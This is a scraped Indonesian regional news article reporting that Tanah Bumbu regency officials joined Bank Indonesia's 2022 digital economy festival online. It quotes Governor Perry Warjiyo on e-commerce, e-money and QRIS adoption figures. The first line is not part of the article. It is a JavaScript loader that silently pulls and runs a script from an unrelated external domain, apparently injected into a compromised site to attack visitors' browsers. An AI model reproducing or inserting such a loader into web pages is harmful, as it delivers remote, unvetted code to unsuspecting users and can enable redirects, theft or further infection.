(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN – Pemerintah Kabupaten (Pemkab) Tanah Bumbu (Tanbu) mengikuti Festival Ekonomi Keuangan Digital (FEKD).
Dalam rangka mempercepat perbaikan ekonomi nasional, Bank Indonesia (BI) menggelar Festival Ekonomi Keuangan Digital (FEKD) tahun 2022.
Kegiatan FEKD ini digelar di Denpasar, Bali dan terhubung ke DLR kantor Bupati Tanah Bumbu secara virtual diikuti oleh Asisten Pemerintahan dan Kesejahteraan Rakyat, Hj Mariani serta Asisten Ekonomi dan Pembangunan, Rahmat Prapto Udoyo, Senin (11/7/2022).
Gubernur BI, Perry Warjiyo menyampaikan bahwa digitalisasi telah melahirkan berbagai peluang baru yang dapat dimanfaatkan untuk meningkatkan inklusi keuangan dan perekonomian di Indonesia.
Baca juga : Bappedalitbang Tanbu Lakukan Ekspose Awal Indeks Kesalehan Sosial
Bahkan lanjutnya, digitalisasi adalah penyelamat bangsa untuk keluar dari krisis pandemi Covid-19.
“Pada Festival Ekonomi Keuangan Digital ini fokus ke digital yang menyelamatkan ekonomi kita selama pandemi, sekarang dan ke depan menjadi pilar Indonesia maju. Dengan sinergi dan kolaborasi erat, Indonesia selamat dari Covid-19 dan sangat didukung cepatnya ekonomi keuangan digital Indonesia,” ujar Perry.
Dia menambahkan, cepatnya akselerasi keuangan digital di dalam negeri tercermin dari transaksi e-commerce tahun ini yang naik 31% atau mencapai Rp 536 triliun. Dimana uang elektronik tahun ini juga diperkirakan akan mencapai Rp 360 triliun atau naik 18%.
“Apalagi perbankan digital, seluruh layanan digital perbankan, layanan perbankan secara digital tahun ini diperkirakan naik menjadi Rp 51 ribu triliun,” jelas Perry.
Baca juga : Ketua PWI Barsel: Pejabat Jangan Bikin Gaduh!
Bank Indonesia sebagai otoritas moneter terus mendukung sistem pembayaran digitalisasi. Tahun lalu BI telah meluncurkan digitalisasi pembayaran jalan tol dan untuk transaksi ritel.
Sebelum pandemi Covid-19 menghantui, kata Perry, pada Mei 2019 BI telah meluncurkan blue print digitalisasi sistem pembayaran Indonesia.
“Dalam lima tahun kita digitalkan sistem pembayaran, karena tidak ada transaksi ekonomi dan keuangan yang tidak melalui sistem pembayaran digital,” jelas Perry.
Capaian BI dalam melakukan digitalisasi sistem pembayaran, tercermin dari tercapainya 18,7 juta merchant yang terhubung dalam QRIS atau lebih dari target BI yang sebesar 15 juta merchant.
“89% pengguna QRIS adalah UMKM dan tahun ini Insyaallah tercapai 30 juta pengguna dan tiga tahun ke depan 65 juta UMKM didigitalisasi,” ungkapnya. (Kanalkalimantan.com/ftr)
Reporter : ftr
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Momen ibadah kurban Iduladha 1445 hijriah menjadi ajang silaturahim dan gotong royong… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kabar duka datang dari Kloter 18 Haji Embarkasi Banjarmasin, seorang jemaah haji… Read More
KANALKALIMANTAN.COM, BANJARBARU - Lapak penjual daging sapi di Pasar Bauntung Kota Banjarbaru Kalimantan Selatan (Kalsel)… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Hulu Sungai Utara (HSU) selalu memberikan… Read More
KANALKALIMANTAN.COM, JEDDAH - Tim Pengawas (Timwas) Haji DPR meminta jemaah calon haji Indonesia yang tidak… Read More
KANALKALIMANTAN.COM, MARTAPURA - Komisi Pemilihan Umum (KPU) Kabupaten Banjar meluncurkan Pemilihan Bupati dan Wakil Bupati… Read More
This website uses cookies.